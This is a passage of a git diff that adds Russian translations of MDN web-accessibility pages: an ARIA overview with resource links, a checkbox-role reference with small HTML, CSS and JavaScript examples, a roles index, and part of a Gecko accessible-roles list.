+        &lt;div role="menuitem"&gt;Save as ...&lt;/div&gt;
+        ...
+    &lt;/div&gt;
+    ...
+&lt;/div&gt;
+</pre>
+
+<h4 id="Notes">Notes </h4>
+
+<p>The most common <em>accessibility API</em> mapping for a label is the <em>accessible name</em> property</p>
+
+<h3 id="Used_by_ARIA_roles">Used by ARIA roles</h3>
+
+<p>All elements of the base markup</p>
+
+<h3 id="Related_ARIA_techniques">Related ARIA techniques </h3>
+
+<ul>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute">Using the aria-label attribute</a></li>
+ <li><a href="/en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="en/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">Using the aria-describedby attribute</a></li>
+</ul>
+
+<h3 id="Compatibility">Compatibility</h3>
+
+<p class="comment">TBD: Add support information for common UA and AT product combinations</p>
+
+<h3 id="Additional_resources">Additional resources</h3>
+
+<ul>
+ <li><a class="external" href="https://www.w3.org/TR/wai-aria/#aria-labelledby" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby">WAI-ARIA specification for aria-labelledby</a></li>
+</ul>
diff --git a/files/ru/web/accessibility/aria/index.html b/files/ru/web/accessibility/aria/index.html
new file mode 100644
index 0000000000..b2dc0f6ec3
--- /dev/null
+++ b/files/ru/web/accessibility/aria/index.html
@@ -0,0 +1,123 @@
+---
+title: ARIA
+slug: Web/Accessibility/ARIA
+tags:
+  - ARIA
+  - Web
+  - доступность
+translation_of: Web/Accessibility/ARIA
+---
+<p><span class="seoSummary">Accessible Rich Internet Applications <strong>(ARIA)</strong> определяет способ сделать веб контент и веб приложения (особенно те, которые разработаны с помощью Ajax и JavaScript) более доступными для людей с ограниченными возможностями.</span> Например, ARIA делает доступным навигационные маркеры, JavaScript виджеты, подсказки на форме, сообщения об ошибках, автоматические обновления и многое другое.</p>
+
+<p>ARIA - это набор специальных атрибутов, которые могут быть добавлены в любую разметку,  но особенно подходят для HTML. Атрибут <code>role</code> определяет тип объекта (такие как статья, оповещение или ползунок). Дополнительные ARIA атрибуты предоставляют другие полезные возможности, такие как описания для форм или текущее значение индикатора выполнения.</p>
+
+<p>Поддержка ARIA реализована в большинстве современных браузеров и программах экранного доступа. Конечно, реализации различаются, и старые технологии не поддерживают их полностью (либо вообще не поддерживают). Используйте постепенно деградирующий "щадящий" ARIA, или просите пользователей использовать новые технологии.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Пожалуйста, примите участие в написании и/или переводе статей чтобы сделать ARIA понятнее и доступнее для тех, кто только начинает изучать материал! Не хватает на это времени? Тогда отправьте свои предложения в <a href="https://lists.mozilla.org/listinfo/accessibility">список рассылки Mozilla по теме accessibility</a>, или на <a href="https://wiki.mozilla.org/IRC">IRC канал</a>с тэгом #accessibility.</p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h3 id="Начало_работы_с_ARIA">Начало работы с ARIA</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets">Введение в ARIA</a></dt>
+ <dd>Быстрое введение в превращение динамического контента в доступный с помощью ARIA. Смотрите также классическую статью <a class="external" href="http://dev.opera.com/articles/view/introduction-to-wai-aria/">ARIA intro by Gez Lemon</a>, from 2008.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/Web_applications_and_ARIA_FAQ">Web Applications and ARIA FAQ</a></dt>
+ <dd>Ответы на часто задаваемые вопросы о том как и почему нужно использовать ARIA в разработке интерфейсов веб-приложений.</dd>
+ <dt><a class="external" href="http://zomigi.com/blog/videos-of-screen-readers-using-aria-updated/">Записи использования экранных читалок с ARIA.</a></dt>
+ <dd>На этих видео можно увидеть реальные и учебные примеры того ARIA улучшает доступность.</dd>
+ <dt><a class="external" href="http://w3c.github.io/aria-in-html/">Использование ARIA в HTML</a></dt>
+ <dd>Практическое руководство для разработчиков. Содержит рекомендации по использованию ARIA-атрибутов при разметке.</dd>
+</dl>
+
+<h3 id="Простое_улучшение_ARIA">Простое улучшение ARIA</h3>
+
+<dl>
+ <dt><a class="external" href="https://www.paciellogroup.com/blog/2013/02/using-wai-aria-landmarks-2013/">Улучшение навигации по странице с помощью ARIA Landmarks</a></dt>
+ <dd>Хорошее введение в использование ARIA landmarks для улучшения навигации для пользователей с экранными читалками. <a class="external" href="http://www.paciellogroup.com/blog/2011/07/html5-accessibility-chops-aria-landmark-support/">Стоит также заглянуть в заметки по поддержке ARIA landmarks читалками </a> и примеры использования на реальных сайтах (опубликовано в Июле 2011).</dd>
+ <dt><a href="/en-US/docs/ARIA/forms">Улучшение доступности форм</a></dt>
+ <dd>ARIA используется не только для обозначения динамического контента! Узнайте, как улучшить доступность форм HTML используя дополнительные ARIA-атрибуты.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions" title="Live Regions">Live regions (в процессе написания)</a></dt>
+ <dd>Live regions подсказывают экранным читалкам как правильно обрабатывать изменения контента на странице.</dd>
+ <dt><a class="external" href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">Использование ARIA Live Regions для оповещения об изменении контента страницы</a></dt>
+ <dd>Краткая сводка об использовании live regions от создателей JAWS screen reader software. Live regions также поддерживаются NVDA в Firefox и VoiceOver в Safari.</dd>
+</dl>
+
+<h3 id="ARIA_для_виджетов_на_JavaScript.">ARIA для виджетов на JavaScript.</h3>
+
+<dl>
+ <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Навигация с помощью клавиатуры и фокус в виджетах на JavaScript</a></dt>
+ <dd>Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Еще один хороший ресурс - <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">статья Yahoo! об управлении фокусом.</a></dd>
+ <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/">Style Guide for Keyboard Navigation</a></dt>
+ <dd>В этом руководстве описываются способы управления самыми распространенными виджетами с клавиатуры.</dd>
+</dl>
+
+<h3 id="Дополнительные_ресурсы_по_ARIA">Дополнительные ресурсы по ARIA</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/widgets/overview">Виджеты. Техники, руководства, примеры.</a></dt>
+ <dd>Нужен слайдер, меню или другой виджет? здесь вы можете найти все, что нужно</dd>
+ <dt><a class="external" href="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/" title="http://www.paciellogroup.com/blog/2009/07/wai-aria-implementation-in-javascript-ui-libraries/">JavaScript UI библиотеки со встроенной поддержкой ARIA.</a></dt>
+ <dd>Если вы начинаете новый проект, то вам стоит обратить внимание на UI библиотеки, имеющие встроенную поддержку ARIA. Внимание: статья 2009 года — то, что она описывает, стоит вынести в отдельную статью на MDN, которая будет поддерживаться в актуальном состоянии.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Список_рассылки.">Список рассылки.</h3>
+
+<dl>
+ <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Открытая Google Group, посвященная ARIA</a></dt>
+ <dd>Здесь можно задать вопрос об ARIA, а также предложить улучшение существующей документации, которая находится там же.</dd>
+</dl>
+
+<h3 id="Блоги">Блоги</h3>
+
+<p>Хотя информация в блогах быстро теряет актуальность, все же в них можно почерпнуть ценную информацию из первых рук - разработчиков, развивающих ARIA.</p>
+
+<p><a class="external" href="https://www.paciellogroup.com/blog/archive/">Paciello Group</a></p>
+
+<p><a class="external" href="http://www.accessibleculture.org/tag/wai-aria/">Accessible Culture</a></p>
+
+<h3 id="Обнаружение_багов.">Обнаружение багов.</h3>
+
+<p><a href="/en/Accessibility/ARIA/How_to_file_ARIA-related_bugs" title="https://developer.mozilla.org/en/ARIA/How_to_file_ARIA-related_bugs">Сообщайте об ошибках ARIA в браузерах, экранных читалках и библиотеках JavaScript.</a></p>
+
+<h3 id="Примеры">Примеры</h3>
+
+<dl>
+ <dt><a class="external" href="/en-US/docs/Accessibility/ARIA/ARIA_Test_Cases">ARIA. Библиотека примеров.</a></dt>
+ <dd>Набор примеров по которым можно многому научиться.</dd>
+ <dt>Различные демки библиотек с доступными JS виджетами.</dt>
+ <dd><a class="external" href="http://hanshillen.github.com/jqtest/">jQuery</a>, <a class="external" href="http://yuilibrary.com/gallery/">YUI</a></dd>
+ <dt><a class="external" href="http://mail.yahoo.com">Yahoo! Mail</a></dt>
+ <dd>Детище Yahoo! - Yahoo! Mail, веб-приложение, выглядящее практически как нативное и вполне доступное. После <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">обзора Yahoo! Mail</a> с использованием экранной читалки Marco Zehe сказал: "Хорошая работа, не сбавляйте обороты!".</dd>
+ <dt><a class="external" href="http://search.yahoo.com">Yahoo! Search</a></dt>
+ <dd>Yahoo! проделали невероятную работу по продвижению ARIA в своем поисковике, используя все возможности и <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">делясь своим опытом</a>. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.</dd>
+</dl>
+
+<h3 id="Стандартизация.">Стандартизация.</h3>
+
+<dl>
+ <dt><a class="external" href="http://www.w3.org/WAI/intro/aria.php">WAI-ARIA Activities Overview at W3C</a></dt>
+ <dd>Authoritative Overview of WAI-ARIA Standardization efforts by the Web Accessibility Initiative (WAI)</dd>
+ <dt><a class="external" href="http://www.w3.org/TR/wai-aria/">WAI-ARIA Specification</a></dt>
+ <dd>The W3C specification itself, useful as a reference. Note that, at this stage, it is important to test compatibility, as implementations are still inconsistent.</dd>
+ <dt><a class="external" href="http://www.w3.org/WAI/PF/aria-practices/">WAI-ARIA Authoring Practices</a></dt>
+ <dd>
+ <p>Like the W3C WAI-ARIA specification, the official best practices represents a future ideal — a day when authors can rely on consistent ARIA support across browsers and screen readers. The W3C documents provide an in-depth view of ARIA.</p>
+
+ <p>For now, web developers implementing ARIA should maximize compatibility. Use best practices docs and examples based on current implementations.</p>
+ </dd>
+ <dt><a class="external" href="http://www.openajax.org/member/wiki/Accessibility">Open AJAX Accessibility Task Force</a></dt>
+ <dd>The Open AJAX effort centers around developing tools, sample files, and automated tests for ARIA.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="ARIA Techniques">Under Construction: WCAG 2.0 ARIA Techniques</a></dt>
+ <dd>The community needs a complete set of WCAG techniques for WAI-ARIA + HTML, so that organizations can be comfortable claiming their ARIA-enabled content is WCAG compliant. This is important when regulations or policies are based on WCAG.</dd>
+</dl>
+</div>
+</div>
+
+<h3 id="Related_Topics" name="Related_Topics">Related Topics</h3>
+
+<p><a href="/en-US/docs/Accessibility">Accessibility</a>, <a href="/en-US/docs/AJAX">AJAX</a>, <a href="/en-US/docs/JavaScript">JavaScript</a></p>
diff --git a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html
new file mode 100644
index 0000000000..b9eb71997d
--- /dev/null
+++ b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html
@@ -0,0 +1,149 @@
+---
+title: 'ARIA: checkbox role'
+slug: Web/Accessibility/ARIA/Roles/checkbox_role
+translation_of: Web/Accessibility/ARIA/Roles/checkbox_role
+---
+<p>\{{ariaref}}</p>
+
+<p><span class="seoSummary"><a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#checkbox" title="http://www.w3.org/TR/wai-aria/roles#checkbox">checkbox role</a> используется для переключаемых интерактивных элементов управления. Элементы, содержащие <code>role="checkbox"</code> также должны включать <code>aria-checked</code> атрибут, чтобы продемонстрировать состояние чекбокса ассистивным технологиям.</span></p>
+
+<pre class="brush: html">&lt;span role="checkbox" aria-checked="false" tabindex="0" aria-labelledby="chk1-label"&gt;
+&lt;/span&gt; &lt;label id="chk1-label"&gt;Remember my preferences&lt;/label&gt;</pre>
+
+<p>Первое правило ARIA -  если у нативного HTML элемента или атрибута присутствует небходимая семантика или поведение, следует использовать его, а не использовать другой элемент не по назначению, добавляя ARIA. Вместо этого лучше использовать <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a>  <code><a href="/en-US/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>, который изначально предоставляет необходимый функционал:</p>
+
+<pre class="brush: html">&lt;input type="checkbox" id="chk1-label"&gt;
+&lt;label for="chk1-label"&gt;Запомнить мои предпочтения&lt;/label&gt;</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a>  элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с <a href="/en-US/docs/Web/HTML/Element/input/checkbox#Indeterminate_state_checkboxes">неопределенным</a> состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с <code>role="checkbox"</code>  может находиться в трех состояниях, обозначенных через <code>aria-checked</code> атрибут: <code>true</code>, <code>false</code>, or <code>mixed</code>.</p>
+
+<p>Поскольку чекбокс является интерактивным элементом, он должен быть фокусируемым и доступным при помощи клавиатуры. Если роль установлена для нефокусируемого элемента, чтобы исправить ситуацию, используйте атрибут <code>tabindex</code>. Ожидаемый способ активации чекбокса при помощи клавиатуры - <kbd>Пробел</kbd> .</p>
+
+<p>Разработчику необходимо динамически изменять значение атрибута <code>aria-checked</code> при активации чекбокса.</p>
+
+<h3 id="Связанные_WAI-ARIA_Роли_Состояния_и_Свойства">Связанные WAI-ARIA Роли, Состояния, и Свойства</h3>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>aria-checked</dt>
+ <dd>
+ <p>Значение <code>aria-checked</code> определяет состояние чекбокса. Этот атрибут может принимать одно из трех значений:</p>
+
+ <p><code>true</code><br>
+      Чекбокс отмечен<br>
+  <code>false</code><br>
+      Чекбокс не отмечен<br>
+  <code>mixed</code><br>
+      Чекбокс частично отмечен, или в неопределенном состоянии</p>
+ </dd>
+ <dt>tabindex="0"</dt>
+ <dd>Делает элемент фокусируемым, так что пользователь ассистивных технологий может сразу перейти к нему и начать читать.</dd>
+</dl>
+
+<h3 id="Взаимодействие_с_клавиатурой">Взаимодействие с клавиатурой</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Клавиша</th>
+   <th scope="col">Функция</th>
+  </tr>
+  <tr>
+   <td><kbd>Пробел</kbd></td>
+   <td>Активирует чекбокс</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Необходимый_JavaScript">Необходимый JavaScript</h3>
+
+<h4 id="Необходимый_обработчики_событий">Необходимый обработчики событий</h4>
+
+<dl>
+ <dt>onclick</dt>
+ <dd>Обрабатывает клики, которые изменяют состояние чекбокса, меняя значение атрибута <code>aria-checked</code> и внешний вид чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd>
+ <dt>onKeyPress</dt>
+ <dd>Обрабатывает случай, когда пользователь нажимает <kbd>Пробел</kbd> для смены состояния чекбокса путем изменения значения атрибута <code>aria-checked</code> и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Примеры">Примеры</h3>
+
+<p>Пример ниже создает простой чекбокс, используя CSS и JavaScript для обработкиотмеченного и неотмеченного состояний элемента.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;span role="checkbox" id="chkPref" aria-checked="false" onclick="changeCheckbox()" onKeyPress="changeCheckbox()"
+   tabindex="0" aria-labelledby="chk1-label"&gt;&lt;/span&gt;
+&lt;label id="chk1-label" onclick="changeCheckbox()" onKeyPress="changeCheckbox()"&gt;Запомнить мои предпочтения&lt;/label&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">[role="checkbox"] {
+    padding:5px;
+}
+
+[aria-checked="true"]::before {
+    content: "[x]";
+}
+
+[aria-checked="false"]::before {
+    content: "[ ]";
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">function changeCheckbox(event) {
+    let item = document.getElementById('chkPref');
+    switch(item.getAttribute('aria-checked')) {
+        case "true":
+            item.setAttribute('aria-checked', "false");
+            break;
+        case "false":
+            item.setAttribute('aria-checked', "true");
+            break;
+    }
+}</pre>
+
+<p>{{EmbedLiveSample("Examples", 230, 250)}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Когда <code>checkbox</code> роль добавлена к элементу, юзер агент должен сделать следующее:</p>
+
+<ul>
+ <li>Показать элемент как элемент с функциями чекбокса для API доступности.</li>
+ <li>Когда значение aria-checked меняется, отправить оступное событие изменения состояния.</li>
+</ul>
+
+<p>Продукты, использующие ассистивные технологии должны сделать следующее:</p>
+
+<ul>
+ <li>Программы чтения с экрана должны объявить элемент как чекбокс и при необходимости предоставить инструкции о том, как его активировать.</li>
+</ul>
+
+<div class="note"><strong>Замечание:</strong> Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведенная выше, также одно из таких мнений, и не является нормативом.</div>
+
+<h2 id="Лучшие_практики">Лучшие практики</h2>
+
+<p>Первое правило ARIA - если у нативного HTML элемента или атрибута присутствует небходимая семантика или поведение, следует использовать его, а не использовать другой элемент не по назначению, добавляя ARIA, чтобы сделать его доступным. По существу, рекомендуется использовать нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a>  вместо воспроизведения функциональности чекбокса с помощью JavaScript и ARIA.</p>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Radio_Role">ARIA: radio role</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitem_Role">ARIA: menuitem role</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemcheckbox_Role">ARIA: menuitemcheckbox role</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemradio_Role">ARIA: menuitemradio role</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role">ARIA: switch role</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Option_role">ARIA: option role</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/accessibility/aria/roles/index.html b/files/ru/web/accessibility/aria/roles/index.html
new file mode 100644
index 0000000000..b86909d5a7
--- /dev/null
+++ b/files/ru/web/accessibility/aria/roles/index.html
@@ -0,0 +1,80 @@
+---
+title: WAI-ARIA Roles
+slug: Web/Accessibility/ARIA/Roles
+tags:
+  - ARIA
+  - ARIA Roles
+  - Accessibility
+  - NeedsTranslation
+  - Reference
+  - Rôles
+  - TopicStub
+translation_of: Web/Accessibility/ARIA/Roles
+---
+<p class="summary">This page lists reference pages covering all the WAI-ARIA roles discussed on MDN. For a full list of roles, see <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques">Using ARIA: Roles, States, and Properties</a></p>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<div class="hidden">
+<p>Please claim the role you want to work on by adding your name after the role's name: (old pages are linked from <a href="/en-US/docs/">https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques</a>). Ones for which the first draft is completed have been removed from the below list.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Alertdialog_Role">alertdialog</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Banner_Role">banner</a> </li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Combobox_Role">Combobox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Command_Role">Command</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Columnheader_Role">Columnheader </a>(Estelle)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Complementary_role">complementary</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Composite_Role">composite</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Definition_Role">Definition</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Directory_Role">Directory</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Feed_Role">Feed</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">Gridcell</a> (Eric E)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Group_Role">Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Input_Role">input</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Landmark_Role">landmark</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Link_Role">Link</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Listbox_Role">listbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Log_Role">Log</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Marquee_Role">Marquee</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Math_Role">math</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menu_Role">menu</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menubar_Role">menubar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuiitem_Role">Menuitem</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemcheckbox_Role">Menuitemcheckbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemradio_Role">Menuitemradio</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/None_Role">none</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Note_Role">note</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Option_Role">Option</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Presentation_Role">presentation</a> </li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Progressbar_Role">Progressbar</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Radio_Role">Radio</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Radiogroup_Role">radiogroup</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Range_Role">range</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Region_Role">region</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Roletype_Role">roletype</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Rowheader_Role">rowheader</a>(Estelle)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Scrollbar_Role">Scrollbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Searchbox_Role">searchbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Section_Role">section</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Sectionhead_Role">sectionhead</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Select_Role">select</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Separator_Role">separator</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Slider_Role">Slider</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Spinbutton_Role">Spinbutton</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Status_Role">Status</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Structure_Role">structure</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_role">tab</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tablist_Role">tablist</a> (Michiel)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">Tabpanel</a> (Michiel)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Term_Role">term</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Time_Role">Timer</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Toolbar_Role">toolbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tooltip_Role">Tooltip</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tree_Role">Tree</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treegrid_Role">treegrid</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treeitem_Role">Treeitem</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Widget_Role">widget</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Window_Role">window</a></li>
+</ul>
+</div>
diff --git a/files/ru/web/accessibility/at-apis/gecko/index.html b/files/ru/web/accessibility/at-apis/gecko/index.html
new file mode 100644
index 0000000000..9cd605e79d
--- /dev/null
+++ b/files/ru/web/accessibility/at-apis/gecko/index.html
@@ -0,0 +1,9 @@
+---
+title: Gecko
+slug: Web/Accessibility/AT-APIs/Gecko
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko
+---
+{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/ru/web/accessibility/at-apis/gecko/roles/index.html b/files/ru/web/accessibility/at-apis/gecko/roles/index.html
new file mode 100644
index 0000000000..3279dc94f1
--- /dev/null
+++ b/files/ru/web/accessibility/at-apis/gecko/roles/index.html
@@ -0,0 +1,498 @@
+---
+title: Gecko Roles
+slug: Web/Accessibility/AT-APIs/Gecko/Roles
+tags:
+  - AT_APIs
+  - Accessibility
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles
+---
+<p><a href="/ru/docs/Accessibility:AT-APIs#Supported_Roles">« AT APIs Support Page</a></p>
+<p><span class="seoSummary">This page offers a list of accessible roles used in Gecko. Role constants are defined in the <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleRole" title="">nsIAccessibleRole</a></code> interface.</span></p>
+<dl>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_NOTHING">ROLE_NOTHING</a></code></dt>
+ <dd>
+  Used when the accessible item doesn't have a strongly defined role.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TITLEBAR">ROLE_TITLEBAR</a></code></dt>
+ <dd>
+  Represents a title or caption bar for a window. Used by MSAA only, this is supported automatically by Microsoft Windows.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUBAR">ROLE_MENUBAR</a></code></dt>
+ <dd>
+  Represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on Mac OS X) from which menus are selected by the user.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SCROLLBAR">ROLE_SCROLLBAR</a></code></dt>
+ <dd>
+  Represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GRIP">ROLE_GRIP</a></code></dt>
+ <dd>
+  Represents a special mouse pointer, which allows a user to manipulate user interface elements such as windows. For example, a user clicks and drags a sizing grip in the lower-right corner of a window to resize it</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SOUND">ROLE_SOUND</a></code></dt>
+ <dd>
+  Represents a system sound, which is associated with various system events.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CURSOR">ROLE_CURSOR</a></code></dt>
+ <dd>
+  Represents the system mouse pointer.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CARET">ROLE_CARET</a></code></dt>
+ <dd>
+  Represents the system caret.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ALERT">ROLE_ALERT</a></code></dt>
+ <dd>
+  Represents an alert or a condition that a user should be notified about. Assistive Technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role. Should be used for warning dialogs, etc.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_WINDOW">ROLE_WINDOW</a></code></dt>
+ <dd>
+  Represents the window frame, which contains child objects such as a title bar, client, and other objects contained in a window. The role is supported automatically by Microsoft Windows.</dd>
+ <dt>
+  <code><a href="/ru/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_INTERNAL_FRAME">ROLE_INTERNAL_FRAME</a></code></dt>
